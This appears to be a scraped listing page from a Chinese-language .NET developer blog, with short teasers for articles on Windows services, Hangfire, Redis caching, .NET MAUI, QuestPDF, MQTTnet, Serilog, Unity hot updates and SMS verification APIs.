  • 1.安裝Nuget包 安裝以下nuget包支持windows service <PackageReference Include="Microsoft.AspNetCore.Hosting.WindowsServices" Version="6.0.10" /> <PackageReference ...
  • .NET Core WebApi 多語言本地化,動態切換多語言 原生的.net core webapi 動態多語言本地話 具體更多詳細內容,可以參考官方文檔 首先看效果圖 整體項目結構圖 ==開始前需要講一些重要的點== 1.是通過文件命名空間的路徑去找尋的,比如 Resource.cs 是在和多語 ...
  • 在.NET開發生態中,我們以前開發定時任務都是用的Quartz.NET完成的。在這篇文章里,記錄一下另一個很強大的定時任務框架的使用方法:Hangfire。兩個框架各自都有特色和優勢,可以根據參考文章里張隊的那篇文章對兩個框架的對比來進行選擇。 引入Nuget包和配置 引入Hangfire相關的Nu ...
  • 我們開發一個系統,在保證風格統一、代碼強壯、可讀性強等基礎上,還能夠結合代碼生成工具快速開發相關後端,以及各種前端界面的,無疑是非常好的,既保證了項目的代碼質量,又能夠極大的提高開發效率。代碼生成工具Database2Sharp是在完善的開發項目上,抽取出數據變化的部分,通過演繹、歸納、反覆演繹和歸... ...
  • 註:快手小程式審核規範中寫明拒絕純webview小程式, 即無法通過以下步驟上架快手小程式, Smobiler只能作為快手小程式開發的一個補充, 具體見 快手-小程式審核規範 Step.1 註冊快手開發者平臺 ,登錄之後點擊創建 創建完成之後再點擊應用進入 點擊填寫,填寫小程式信息 Step.2 下 ...
  • 在一個應用系統的開發框架中,往往很多地方需要用到緩存的處理,有些地方是為了便於記錄用戶的數據,有些地方是為了提高系統的響應速度,如有時候我們在發送一個簡訊驗證碼的時候,可以在緩存中設置幾分鐘的過期時間,這樣驗證簡訊驗證碼的時候,就會自動判斷是否過期了。本篇隨筆結合CSRedis的使用,介紹如何實現緩... ...
  • 根據MSDN的介紹,自己對一些基本結構做一些翻譯,幫助自己理解。 驅動對象 DRIVER_OBJECT typedef struct _DRIVER_OBJECT { CSHORT Type; CSHORT Size; PDEVICE_OBJECT DeviceObject; ULONG Flags ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...